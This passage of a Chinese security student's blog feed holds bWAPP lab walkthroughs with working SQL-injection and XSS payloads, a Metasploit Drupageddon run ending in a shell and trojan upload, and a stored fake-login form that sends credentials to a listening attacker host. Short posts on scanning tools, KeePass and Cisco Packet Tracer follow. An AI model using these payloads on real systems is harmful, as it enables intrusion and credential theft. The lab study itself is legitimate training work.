</p><p>像这种对用户的输入没有进行任何过滤的,使用sqlmap直接跑就可以很快查出结果了。</p><p>2,在medium级别下,没有能成功注入;sqli_check1</p><p>一般常用宽字节注入和十六进制编码绕过。</p><p>3,在high级别下,没有成功注入。sqli_check2</p><p><img src="C:\Users\陈火山\AppData\Roaming\Typora\typora-user-images\1539677920972.png" alt="1539677920972"></p><h2 id="SQL-Injection-GET-Select"><a href="#SQL-Injection-GET-Select" class="headerlink" title="SQL Injection (GET/Select)"></a>SQL Injection (GET/Select)</h2><p>1,在low级别下</p><p>第一步,判断是否存在sql注入,直接输入单引号‘,发现返回了sql的语法报错,那就很可能存在sql注入了</p><p>第二步,判断是数字型注入还行字符型注入,发现将movie的值设置为1 and 1=1时,正确显示所查询的数据,但是将movie的值设置为1 and 1=2时,并没有正确回显。故初步判断为数字型注入。</p><p>第三步,直接-1 order by 判断字段数,判断结果为有7个字段。判断方法与上面的sql injection(get/search)类似,所以就不再多说了。</p><p>第四步,-1 union select 1,2,3,4,5,6,7判断可以回显的字段数,发现2,3,4,5字段可以正确回显。</p><p>第五步,查询自己想要的数据吧,方法与上面的sql injection(get/search)类似。</p><p>2,在medium级别下,仅仅使用addslashes函数对单引号,双引号,反斜杠和NULL使用反斜杠进行了转义,不使用单引号和双引号就好了嘛,照样注入:注入方法类似上述步骤,我将部分注入代码列出,本人不在赘述。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-1 order by 7--</span><br><span class="line">-1 union select 1,2,3,4,5,6,7--</span><br><span class="line">-1 union select 1,schema_name,3,4,5,6,7 from information_schema.schemata limit 1,1--</span><br><span class="line">-1 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata--</span><br><span class="line">-1 union select 1,group_concat(table_schema),3,4,5,6,7 from information_schema.tables--</span><br></pre></td></tr></table></figure><p>information_schema中的一些表的基本特征:</p><p><a href="https://blog.csdn.net/ahg1001/article/details/6749628" target="_blank" rel="noopener">https://blog.csdn.net/ahg1001/article/details/6749628</a></p><p>3,在high级别下,没有注入成功。</p><h2 id="SQL-Injection-POST-Search"><a href="#SQL-Injection-POST-Search" class="headerlink" title="SQL Injection (POST/Search)"></a>SQL Injection (POST/Search)</h2><p>与get注入方法一样,只是变成了post类型。</p><h2 id="SQL-Injection-POST-Select"><a href="#SQL-Injection-POST-Select" class="headerlink" title="SQL Injection (POST/Select)"></a>SQL Injection (POST/Select)</h2><p>与get注入方法一样,只是变成了post类型。</p><h2 id="SQL-Injection-AJAX-JSON-jQuery"><a href="#SQL-Injection-AJAX-JSON-jQuery" class="headerlink" title="SQL Injection (AJAX/JSON/jQuery)"></a>SQL Injection (AJAX/JSON/jQuery)</h2><p>通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。</p><p>首先输入了单引号‘,但是没有发现报错,郁闷了一会儿,于是看了看标题,原来是通过AJAX传送少量数据的,可能报错并没有被传回前端,不就是查询嘛,那就查询吧。</p><p>输入百分号%,于是全部查出。</p><p><img src="https://i.loli.net/2018/10/17/5bc7498b03f9c.png" alt="volcano18"></p><p>虽然在界面上没有明显的报错,但是输入单引号时在burp suite中却有明显的报错返回:</p><p><img src="https://i.loli.net/2018/10/17/5bc74a99070ae.png" alt="volcano18"></p><p>由于是查询,所以进一步猜测sql语句为:</p><p><code>select * from 表名 where Title like '%".用户输入."%'</code></p><p>于是构造sql语句如下: Iron%’ or ‘%’=’</p><p>成功查询:</p><p><img src="https://i.loli.net/2018/10/17/5bc74bbe15325.png" alt="volcano18"></p><p>本来是想使用查询语句: Iron%’ or 1=1– ,但是我发现在这里注释失去了作用,于是便使用了上述的查询语句。</p><p>接着继续查询:Iron%’ union select 1,2,3,4,5,6,7 and ‘%‘=’</p><p>发现2,3,4,5可以回显。</p><p><img src="https://i.loli.net/2018/10/17/5bc74d2e23008.png" alt="3"></p><p>于是可以依照sql injection(get/search)中类似的方法继续查询,在这里就只列出几条查询的结果:</p><p>使用如下语句查询所有的库和对应的表:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Iron%' union select 1,database(),table_name,table_schema,5,6,7 from information_schema.tables-- and '%‘=’</span><br></pre></td></tr></table></figure><p><img src="https://i.loli.net/2018/10/17/5bc74faf10c19.png" alt="3"></p><p>查询users表中的字段名:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Iron%' union select 1,column_name,table_name,database(),5,6,7 from information_schema.columns where table_name="users"-- and '%‘=’</span><br></pre></td></tr></table></figure><p>剩下的不查了。</p><p>2,在medium级别下,和high级别下,并没有查询出结果来。</p><h2 id="SQL-Injection-CAPTCHA"><a href="#SQL-Injection-CAPTCHA" class="headerlink" title="SQL Injection(CAPTCHA)"></a>SQL Injection(CAPTCHA)</h2><p>与sql injection(get/search)相同的查询方法。</p><p>在这里我就直接查询用户名和密码了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.174.130/bWAPP/sqli_9.php?title=Iron%' UNION SELECT 1,login,admin,password,@@datadir,6,7 from bWAPP.users-- +&action=search</span><br></pre></td></tr></table></figure><h2 id="SQL-Injection-Login-Form-Hero"><a href="#SQL-Injection-Login-Form-Hero" class="headerlink" title="SQL Injection (Login Form/Hero)"></a>SQL Injection (Login Form/Hero)</h2><p>在low级别下,使用万能密码直接登录:</p><p>用户名:volcano’ or ‘1’=’1’– 密码随便输入。</p><p><img src="https://i.loli.net/2018/10/17/5bc7589997585.png" alt="3"></p><p>除了可以使用万能密码登录之外,也可以直接在这里进行查询:直接列出一些查询语句了,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">admin' order by 4-- </span><br><span class="line"></span><br><span class="line">admin' union select 1,2,3,4-- </span><br><span class="line"></span><br><span class="line">admin' union select 1,version(),3,4-- </span><br><span class="line"></span><br><span class="line">admin' union select 1,group_concat(table_schema),3,4 from information_schema.tables-- </span><br><span class="line"></span><br><span class="line">admin' union select 1,group_concat(table_schema),3,group_concat(table_name) from information_schema.tables--</span><br></pre></td></tr></table></figure><p>2,在medium级别下,没有成功注入。各个感觉addslashes函数对字符型注入的影响蛮大的,好像这里宽字节注入也不行。</p><p>3,在high级别下,没有成功注入。</p><h2 id="SQL-Injection-Login-Form-User"><a href="#SQL-Injection-Login-Form-User" class="headerlink" title="SQL Injection(Login Form/User)"></a>SQL Injection(Login Form/User)</h2><p>在low级别下,也可以采用上述SQL Injection (Login Form/Hero)中的方法进行注入,本人不在赘述,直接将按照我上述步骤的部分代码列出:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-1' order by 9</span><br><span class="line">这里应该时基于报错的注入,自己可以试试吧。</span><br></pre></td></tr></table></figure><h2 id="SQL-Injection-SQLite"><a href="#SQL-Injection-SQLite" class="headerlink" title="SQL Injection(SQLite)"></a>SQL Injection(SQLite)</h2><p>注入方法类型上述的sql注入,我就不再多介绍了。直接注入吧。</p><p>有六列 Iron’ order by 6– </p><p>查看回显Iron’ union select 1,2,3,4,5,6– </p><p>查看版本Iron’ union select 1,sqlite_version(),3,4,5,6– </p><p>查看数据库Iron’ union select 1,sqlite_version(),name,4,5,6 from sqlite_master–+</p><p>查询列名Iron’ union select 1,sqlite_version(),name,tbl_name,sql,6 from sqlite_master where name=”users”–+</p><p>sqlite_master表和mysql数据库中系统表information_schema不一样的是,sqlite_master不存在类似“ column_name”的字段,但是她有一个sql字段,该字段保存了各个表的结构,包括表名,字段名和类型 。因此可以通过查询sql字段获取各个表的列名 </p><p>‘union select 1,2,login||”:”||password,4,5,6 from users– </p><h2 id="Drupal-SQL-Injection-Drupageddon"><a href="#Drupal-SQL-Injection-Drupageddon" class="headerlink" title="Drupal SQL Injection (Drupageddon)"></a>Drupal SQL Injection (Drupageddon)</h2><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704" target="_blank" rel="noopener">CVE-2014-3704</a>直接使用msf进行攻击吧,毕竟时cve</p><p>使用方法如下:</p><p>use exploit/multi/按tab键进行自动查找。</p><p>use exploit/multi/http/drupal_drupageddon</p><p>set targeturi /drupal/</p><p>set RHOST 192.168.174.130</p><p>set rport 80</p><p>exploit</p><p>直接拿到shell啦。</p><p><img src="https://i.loli.net/2018/10/23/5bce8b7578713.png" alt="volcano18"></p><p>上传木马</p><p><img src="https://i.loli.net/2018/10/23/5bce8cf0ef728.png" alt="1"></p><p>成功上传。也可以进行其他的各种操作哦。</p>]]></content>
<summary type="html">
<h1 id="SQL-Injection"><a href="#SQL-Injection" class="headerlink" title="SQL Injection"></a>SQL Injection</h1><h2 id="SQL-Injection-GET-Sea
</summary>
<category term="bwapp" scheme="http://yoursite.com/categories/bwapp/"/>
<category term="bwapp玩法" scheme="http://yoursite.com/tags/bwapp%E7%8E%A9%E6%B3%95/"/>
<category term="bwapp靶机" scheme="http://yoursite.com/tags/bwapp%E9%9D%B6%E6%9C%BA/"/>
<category term="web安全" scheme="http://yoursite.com/tags/web%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>web信息泄露工具</title>
<link href="http://yoursite.com/2018/10/20/web%E4%BA%94%E5%A4%A7%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%94%B6%E9%9B%86%E5%B7%A5%E5%85%B7/"/>
<id>http://yoursite.com/2018/10/20/web五大信息泄露收集工具/</id>
<published>2018-10-20T13:20:19.691Z</published>
<updated>2018-12-02T06:06:09.076Z</updated>
<content type="html"><![CDATA[<p>1,bbscan一款轻量级的web信息泄露批量扫描工具。扫描迅速,使用简单。</p><p>特性:</p><ul><li>小字典</li><li>可以自动扫描 Target/Mask 这样网络中所有的主机</li><li>误报率小</li></ul><p>首先下载吧,下载地址如下:<a href="https://github.com/lijiejie/BBScan" target="_blank" rel="noopener">https://github.com/lijiejie/BBScan</a></p><p>使用方法:下载以后先解压,解压以后可以就直接在解压目录下使用命令(python需要已经安装,并且需要使用python2):</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install -r requirements.txt</span><br></pre></td></tr></table></figure><p>安装完成以后就可以直接扫描web应用程序了。</p><p>使用方法如下:对ip和端口为10.242.227.11:88的主机进行扫描</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python BBScan.py --host http://10.242.227.11:88</span><br></pre></td></tr></table></figure><p><img src="https://i.loli.net/2018/10/20/5bcb23e14f11e.png" alt="3"></p><p>扫描结果如下:</p><p><img src="https://i.loli.net/2018/10/20/5bcb241a24f7a.png" alt="volcano18"></p><p>具体的使用方法也可以参考链接:</p><p><a href="https://github.com/lijiejie/BBScan" target="_blank" rel="noopener">https://github.com/lijiejie/BBScan</a></p><p><a href="https://www.secpulse.com/archives/40553.html" target="_blank" rel="noopener">https://www.secpulse.com/archives/40553.html</a></p><p><a href="http://www.legendsec.org/1067.html" target="_blank" rel="noopener">http://www.legendsec.org/1067.html</a></p><p>[注]:分享一波本人在这里遇到的坑吧,因为我当前使用的是python3,然后bbscan需要使用python2进行运行,于是我便将python27也添加到了环境变量,为了让系统能够区分python2和python3我将python安装目录下的python.exe该成了python2.exe,所以以后在我控制台直接输入python运行的是python的3的版本,而需要使用python的2.7的版本时,需要输入python2,好了,python2的环境变量既然配置好了,那么接下来我就要安装bbscan所需要的一些库文件了,于是我输入命令</p><p>pip2 install -r requirements.txt(因为我安装的python2.7,在python2.7的scripts目录下面也有pip2.exe,所以我需要使用pip2 install -r requirements.txt,因为如果我输入pip install -r requirements.txt则默认调用的是python3中的pip。)</p><p>但是报错了,报错如下:</p><p>Fatal error in launcher: Unable to create process using ‘“‘</p><p>解决方法:运行命令python2 -m pip install –upgrade pip升级pip的版本,因为重装以后会根据更改后的python的执行文件来创建关联,问题这样就被解决了,如果还不行,那就重装pip吧,使用命令如下:</p><p>python2 -m pip install –upgrade –force-reinstall pip</p><p>第一步bbscan所需要的库安装完成之后就可以直接使用了。</p><p>再次注明:pip2.7 install -r requirements.txt需要在bbscan的安装目录下运行。</p><p><img src="https://i.loli.net/2018/10/20/5bcb28a115f3e.png" alt="3"></p><p>2,git信息泄露工具:githack</p><p>下载地址:<a href="https://github.com/lijiejie/GitHack" target="_blank" rel="noopener">https://github.com/lijiejie/GitHack</a> </p><p>python2 githack.py </p><p>3,dirbrute</p><p>下载地址:<a href="https://github.com/Xyntax/DirBrute" target="_blank" rel="noopener">https://github.com/Xyntax/DirBrute</a></p><p>4,御剑</p><p>御剑是一款强大的后台扫描工具</p><p>5,Seay-svn源代码备份漏洞利用工具</p><p>以上五款都是经常使用的web信息泄露的收集工具。有时间我会补全每一款的使用方法。</p><p>附上一篇有关信息收集的文章。</p>]]></content>
<summary type="html">
<p>1,bbscan一款轻量级的web信息泄露批量扫描工具。扫描迅速,使用简单。</p>
<p>特性:</p>
<ul>
<li>小字典</li>
<li>可以自动扫描 Target/Mask 这样网络中所有的主机</li>
<li>误报率小</li>
</ul>
<p>首先下
</summary>
<category term="信息泄露工具" scheme="http://yoursite.com/categories/%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E5%B7%A5%E5%85%B7/"/>
<category term="web安全" scheme="http://yoursite.com/tags/web%E5%AE%89%E5%85%A8/"/>
<category term="工具" scheme="http://yoursite.com/tags/%E5%B7%A5%E5%85%B7/"/>
</entry>
<entry>
<title>密码记录keepass</title>
<link href="http://yoursite.com/2018/10/19/%E5%AF%86%E7%A0%81%E8%AE%B0%E5%BD%95keepass/"/>
<id>http://yoursite.com/2018/10/19/密码记录keepass/</id>
<published>2018-10-19T12:40:55.953Z</published>
<updated>2018-10-19T12:41:40.940Z</updated>
<content type="html"><![CDATA[<p>作为一个信息安全专业的学生,可能需要经常逛逛各大网站,或者一些什么论坛,社区什么的。但是经常需要会被要求注册,那么密码改如何设置呢?全部使用一样的密码吗?不存在的。那么密码肯定会存在被忘记的可能吧。不用担心,keepass能帮你解决此问题,帮助你保管好你的密码,并且数据库直接存放在你自己的电脑。应该是很安全的。</p><p>keepass下载地址: <a href="https://keepass.info/download.html" target="_blank" rel="noopener">https://keepass.info/download.html</a></p><p>直接点击安装即可。</p><p>至于使用方法吧,自己尝试尝试吧。很简单。</p><p>file->new->ok选择自己所要存放的目录。然后设置自己数据库的密码。再设置自己数据库名。</p><p>然后再database下点击network或者其他的,再在空白框内右键add entry就可以创建密码了。</p>]]></content>
<summary type="html">
<p>作为一个信息安全专业的学生,可能需要经常逛逛各大网站,或者一些什么论坛,社区什么的。但是经常需要会被要求注册,那么密码改如何设置呢?全部使用一样的密码吗?不存在的。那么密码肯定会存在被忘记的可能吧。不用担心,keepass能帮你解决此问题,帮助你保管好你的密码,并且数据库直
</summary>
<category term="软件安装" scheme="http://yoursite.com/categories/%E8%BD%AF%E4%BB%B6%E5%AE%89%E8%A3%85/"/>
<category term="keepass" scheme="http://yoursite.com/tags/keepass/"/>
</entry>
<entry>
<title>思科模拟器下载(Cisco Packet Tracer)</title>
<link href="http://yoursite.com/2018/10/19/Cisco-Packet-Tracer/"/>
<id>http://yoursite.com/2018/10/19/Cisco-Packet-Tracer/</id>
<published>2018-10-19T12:00:12.005Z</published>
<updated>2018-10-19T12:00:12.005Z</updated>
<content type="html"><![CDATA[<p>经常有同学问我软件如何安装,下载之类的问题,借助今天的思科模拟器稍微总结一下,一般不就是直接百度或者谷歌搜索词条“所要下载的软件名安装方法”或者“所要下载的软件名下载”就可以看到你所需要的结果吗?所以啊,学会百度和谷歌哟。还要学会github啊,github上边也可能有你所要找的东西的,思科模拟器我在百度和谷歌找了一圈,没有看到我想要的,我就到github上面去找去了,搜索的第一条就是,附上下载地址,<a href="https://www.netacad.com/group/offerings/packet-tracer/" target="_blank" rel="noopener">https://www.netacad.com/group/offerings/packet-tracer/</a></p><p>至于安装方法吧,都是直接下一步。安装完成就可以直接使用了。</p>]]></content>
<summary type="html">
<p>经常有同学问我软件如何安装,下载之类的问题,借助今天的思科模拟器稍微总结一下,一般不就是直接百度或者谷歌搜索词条“所要下载的软件名安装方法”或者“所要下载的软件名下载”就可以看到你所需要的结果吗?所以啊,学会百度和谷歌哟。还要学会github啊,github上边也可能有你所
</summary>
<category term="软件安装" scheme="http://yoursite.com/categories/%E8%BD%AF%E4%BB%B6%E5%AE%89%E8%A3%85/"/>
<category term="思科模拟器" scheme="http://yoursite.com/tags/%E6%80%9D%E7%A7%91%E6%A8%A1%E6%8B%9F%E5%99%A8/"/>
</entry>
<entry>
<title>bwapp玩法总结之一</title>
<link href="http://yoursite.com/2018/10/17/bwapp%E7%8E%A9%E6%B3%95%E6%80%BB%E7%BB%93%E4%B9%8B%E4%B8%80/"/>
<id>http://yoursite.com/2018/10/17/bwapp玩法总结之一/</id>
<published>2018-10-17T09:47:29.767Z</published>
<updated>2018-10-25T07:40:03.036Z</updated>
<content type="html"><![CDATA[<h1 id="bwapp玩法总结之一"><a href="#bwapp玩法总结之一" class="headerlink" title="bwapp玩法总结之一"></a>bwapp玩法总结之一</h1><h2 id="html-injection-Reflected-GET-类型"><a href="#html-injection-Reflected-GET-类型" class="headerlink" title="html injection-Reflected(GET)类型"></a>html injection-Reflected(GET)类型</h2><p>1,low级别,随便输入,观察到输入什么即会输出什么。(即没有进行任何过滤)</p><p><img src="https://i.loli.net/2018/10/07/5bb9c2b463e3d.png" alt="图片1"></p><p>输入<code><script>alert(11)</script></code>可以成功弹框,说明存在html注入。(注明:html注入包含xss注入)</p><p><img src="https://i.loli.net/2018/10/07/5bb9c4700786b.png" alt=""></p><p>可以以读取跟目录下的图片:</p><p>在输入框中输入:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><img src="../index.png"/></span><br></pre></td></tr></table></figure><p>即可。</p><p><img src="https://i.loli.net/2018/10/07/5bb9d29ae1975.png" alt="volcano18"></p><p>2,medium级别,直接输入<code><script>alert(11)</script></code>发现无法成功弹框,对<code><script>alert(11)</script></code>进行url编码,编码后的结果为<code>%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%31%29%3C%2F%73%63%72%69%70%74%3E</code>,使用该脚本进行注入,发现注入成功,即可以成功弹框。编码推荐网址为(<a href="http://www.toolsxx.com/code/xss.html)" target="_blank" rel="noopener">http://www.toolsxx.com/code/xss.html)</a></p><p><img src="https://i.loli.net/2018/10/07/5bb9c4700786b.png" alt="图片2"></p><p>3,high级别,发现无论如何都无法成功进行弹框,即也无法进行html注入,那原因是什么呢?</p><p>让我们一起来看看源码吧。</p><p>在不同等级下分别对应不同的函数:low-no_check, medium-xss_check_1, high-xss_check_3。</p><p><img src="https://i.loli.net/2018/10/07/5bb9d4640f6de.png" alt="volcano18"></p><p>4,在low级别下源码为:</p><p><img src="https://i.loli.net/2018/10/07/5bb9c7f0d5cef.png" alt="图片3"></p><p>没有进行任何过滤,输入什么,立刻输出什么。</p><p>5,在medium级别下源码为:</p><p> <img src="https://i.loli.net/2018/10/07/5bb9c8cfbe1f4.png" alt="图片4"></p><p>在medium级别,由源码可知,该级别下将用户输入的“>”和”<”替换为了他们所对应的html实体&gt和&lt,但是最后又进行了一次url解码,所以绕过方法为:先对>和<进行url编码,即可绕过。编码结果为:<code>%3Cscript%3Ealert(11)%3C/script%3E</code></p><p>6,在high级别下源码为:</p><p><img src="https://i.loli.net/2018/10/07/5bb9cb63ab656.png" alt="图片5"></p><p>由源码可知,在high级别下使用了php中防止注入的终极函数htmlentitiles(),在此处没有注入成功,虽然尝试了很久,但是依旧没有成功。</p><h2 id="html-injection-Reflected-post-类型"><a href="#html-injection-Reflected-post-类型" class="headerlink" title="html injection-Reflected(post)类型"></a>html injection-Reflected(post)类型</h2><p>该类型下所调用的函数与html injection-Reflected(get)类型完全一样。只是将表单的提交方式由get变为了post。</p><p>在不同等级下分别对应不同的函数:low-no_check, medium-xss_check_1, high-xss_check_3。</p><p><img src="https://i.loli.net/2018/10/07/5bb9d4640f6de.png" alt="volcano18"></p><h2 id="html-injection-Reflected-url-类型"><a href="#html-injection-Reflected-url-类型" class="headerlink" title="html injection-Reflected(url)类型"></a>html injection-Reflected(url)类型</h2><p>1,在low级别下:url: <a href="http://192.168.80.141/bWAPP/htmli_current_url.php" target="_blank" rel="noopener">http://192.168.80.141/bWAPP/htmli_current_url.php</a>? 后面加上什么就返回什么,</p><p><img src="https://i.loli.net/2018/10/07/5bb9fdb56438f.png" alt="volcano18"></p><p>尝试输入<code><script>alert(11)</script></code>进行弹框,发现弹框失败,从而输入的脚本进行了url编码,个人立即猜测是因为在浏览器的输入框中输入的原因,所以立即使用burpsuite进行抓包,然后再在url后面加上?<code><script>alert(11)</script></code></p><p><img src="https://i.loli.net/2018/10/07/5bb9fef87685d.png" alt="1538916062909"></p><p>再点击Forward发送该报文,弹窗成功,即脚本执行成功。</p><p><img src="https://i.loli.net/2018/10/07/5bb9ff85ae26f.png" alt="1538916200429"></p><p>2,在medium级别下,由于火狐浏览器对url进行了编码,所以无法继续使用low级别下的方法进行弹框,但是脚本依旧可以成功执行,在ie浏览器中的url后面加上:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?<span class="tag"><<span class="name">h1</span>></span>volcano18<span class="tag"></<span class="name">h1</span>></span></span><br></pre></td></tr></table></figure><p>,发现该脚本成功执行,执行结果如图:</p><p><img src="https://i.loli.net/2018/10/07/5bba05ba80b80.png" alt="volcano18"></p><p>其实也是可以弹框的,只是ie浏览器和谷歌浏览器禁用了部分js脚本,所以导致弹框失败,在url后面加上?<code><script>alert(11)</script></code>执行结果如下:脚本可以成功执行,只是被ie浏览器阻止其运行。</p><p><img src="https://i.loli.net/2018/10/07/5bba0697b6127.png" alt="volcano18"></p><p>3,在high别下,由于又使用了防止输入的终极函数htmlentitiles(),无法进行注入。</p><p>查看html injection-Reflected(url)后端处理部分源码如下:low-0, medium-1, high-2, </p><p><img src="https://i.loli.net/2018/10/07/5bba078482ba1.png" alt="volcano18"></p><p>在low和medium级别下,没有进行任何过滤,都是直接获取url然后将其直接输出,而high级别下使用了xss_check_3函数对host后面的部分进行了过滤处理,使得无法进行注入。</p><p><img src="https://i.loli.net/2018/10/07/5bba097db5cb3.png" alt="1538918762260"></p><h2 id="html-injection-stored-blog-类型"><a href="#html-injection-stored-blog-类型" class="headerlink" title="html injection-stored(blog)类型"></a>html injection-stored(blog)类型</h2><p>该类型为存储型的html注入,即所提交的脚本会重复执行。</p><p>1,在low级别下,没有进行任何过滤,直接输入脚本<code><script>alert('volcano18')</script></code>即可成功弹框,</p><p><img src="https://i.loli.net/2018/10/07/5bba0df693a40.png" alt="volcano18"></p><p>也可以使用脚本<code><script>alert(document.cookie)</script></code>读取用户的cookie</p><p><img src="https://i.loli.net/2018/10/07/5bba0ed348571.png" alt="360截图17940614453528"></p><p>也可以读取我事先放到根目录下的图片:使用脚本</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"../index.png"</span>/></span></span><br></pre></td></tr></table></figure><p><img src="https://i.loli.net/2018/10/08/5bbaf42d7c907.png" alt="volcano18"></p><p>等一些后期利用方面可以自己随便选取一个模块自己练手,本人在这里只针对这些模块的一些绕过方式和利用方式进行讲解。</p><p>一种有趣的玩法:直接留言如下代码,在自己的kali中使用nc -lvp 80进行监听,可以直接查看用户输入的用户名和密码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.174.133/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div></span><br></pre></td></tr></table></figure><p>输入上述代码后,会出现如下用户名和密码的输入框:</p><p><img src="https://i.loli.net/2018/10/24/5bd05bd22662a.png" alt="18"></p><p>在输入框输入用户名和密码后,会在kali虚拟机上面接受的相应的用户名和密码,比如我输入admin123和volcano18,会在kali上出现如下结果:即得到对方的用户名和密码。</p><p><img src="https://i.loli.net/2018/10/24/5bd05cdd70d88.png" alt="12"></p><p>2,在medium级别下,试了很久没有成功执行脚本,最后无奈,只好查看源码了,查看源码发现,不论是medium级别还是high级别,都使用了xss_check_3函数进行了过滤,源码如下:</p><p><img src="https://i.loli.net/2018/10/08/5bbb04b838fa9.png" alt="volcano18"></p><p>对留言框的输入使用了xss_check_3函数进行过滤,xss_check_3函数源码如下:</p><p><img src="https://i.loli.net/2018/10/08/5bbb059405d5b.png" alt="volcano18"></p><p>然而在xss_check_3中使用了防止html注入的终极函数htmlspecialchars(),所以在html injection-stored(blog)类型中,不论是medium级别还是high级别均无法进行注入。</p><p>3,在high级别下没法注入。</p><h2 id="iFrame-Injection类型"><a href="#iFrame-Injection类型" class="headerlink" title="iFrame Injection类型"></a>iFrame Injection类型</h2><p>1,在low级别下,首先从url:<a href="http://192.168.174.128/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250" target="_blank" rel="noopener">http://192.168.174.128/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250</a> 观察到robots.txt文件,刚刚好被读取到界面上显示,于是查看源码发现,ParamUrl后面所包含的路径直接内嵌在iframe标签中:如图:</p><p><img src="https://i.loli.net/2018/10/08/5bbb3e25b0b13.png" alt="volcano18"></p><p>于是我进行了如下利用,读取根目录下的index.png图片,将url改为:<a href="http://192.168.174.128/bWAPP/iframei.php?ParamUrl=192.168.174.128/../../index.png&ParamWidth=250&ParamHeight=250即可以成功读取根目录下的图片:" target="_blank" rel="noopener">http://192.168.174.128/bWAPP/iframei.php?ParamUrl=192.168.174.128/../../index.png&ParamWidth=250&ParamHeight=250即可以成功读取根目录下的图片:</a></p><p><img src="https://i.loli.net/2018/10/08/5bbb3ee06a013.png" alt="volcano18"></p><p>可以也将url改为:<a href="http://192.168.174.128/bWAPP/iframei.php?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250" target="_blank" rel="noopener">http://192.168.174.128/bWAPP/iframei.php?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250</a> 从而将百度网页内嵌在iframe框架中,</p><p><img src="https://i.loli.net/2018/10/08/5bbb3f66dbbb3.png" alt="volcano18"></p><p>也可以直接构造playload进行弹框:<a href="http://192.168.174.128/bWAPP/iframei.php?ParamUrl=javascript:alert(11);&ParamWidth=250&ParamHeight=250,即将ParamUrl的值设置为javascript:alert(11)" target="_blank" rel="noopener">http://192.168.174.128/bWAPP/iframei.php?ParamUrl=javascript:alert(11);&ParamWidth=250&ParamHeight=250,即将ParamUrl的值设置为javascript:alert(11)</a>;</p><p><img src="https://i.loli.net/2018/10/08/5bbb40f45e7aa.png" alt="volcano18"></p><p>也可以这样构造playload将url设置为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">192.168.174.128/bWAPP/iframei.php?ParamUrl=" onload=alert(11)></iframe>//&ParamWidth=250&ParamHeight=250</span><br></pre></td></tr></table></figure><p> 即将iframe标签提前闭合。</p><p><img src="https://i.loli.net/2018/10/08/5bbb41d5ba246.png" alt="volcano18"></p><p>2,在medium级别下,在参数ParamUrl试过了各种脚本,也玩了很久很久,发现无论如何,src总是等于robots.txt于是估计可能是ParamUrl参数无法改变,那么真的不能注入了吗?这时我便想起了该url中的另外两个参数,没想到真的在另外两个参数注入成功了,将ParamWidth参数值设置为” onload=alert(11)>//即可成功注入。</p><p><img src="https://i.loli.net/2018/10/08/5bbb45124776d.png" alt="volcano18"></p><p>3,在high级别下,有没有成功进行注入,估计又是使用了防止html注入的终极函数htmlspecialchars(),于是查看源码:</p><p><img src="https://i.loli.net/2018/10/08/5bbb48ca191fb.png" alt="volcano18"></p><p>发现在medium级别时,使用的是xss_check_4()函数进行过滤,查看xss_check_4函数如下:</p><p><img src="https://i.loli.net/2018/10/08/5bbb4a841feb1.png" alt="volcano18"></p><p>使用了addslashes()函数进行过滤,该函数会在预定义字符之前添加反斜杠,会添加反斜杠预定义字符有:单引号(‘),双引号(“),反斜杠(\ ),NULL。使用该函数进行过滤采用上述方法完全可以进行绕过。</p><p>在high级别下,使用的是xss_check_3()函数进行过滤</p><p><img src="https://i.loli.net/2018/10/08/5bbb059405d5b.png" alt="volcano18"></p><p>该函数中采用了防止xss注入的终极函数htmlspecialchars(),所以无法进行注入。</p><h2 id="LDAP-Connection-Settings"><a href="#LDAP-Connection-Settings" class="headerlink" title="LDAP Connection Settings"></a>LDAP Connection Settings</h2><p>这个ldap注入不会呀,应该是环境没有搭建好,懒得搞。</p><h2 id="LDAP-Connection-Settings-1"><a href="#LDAP-Connection-Settings-1" class="headerlink" title="LDAP Connection Settings"></a>LDAP Connection 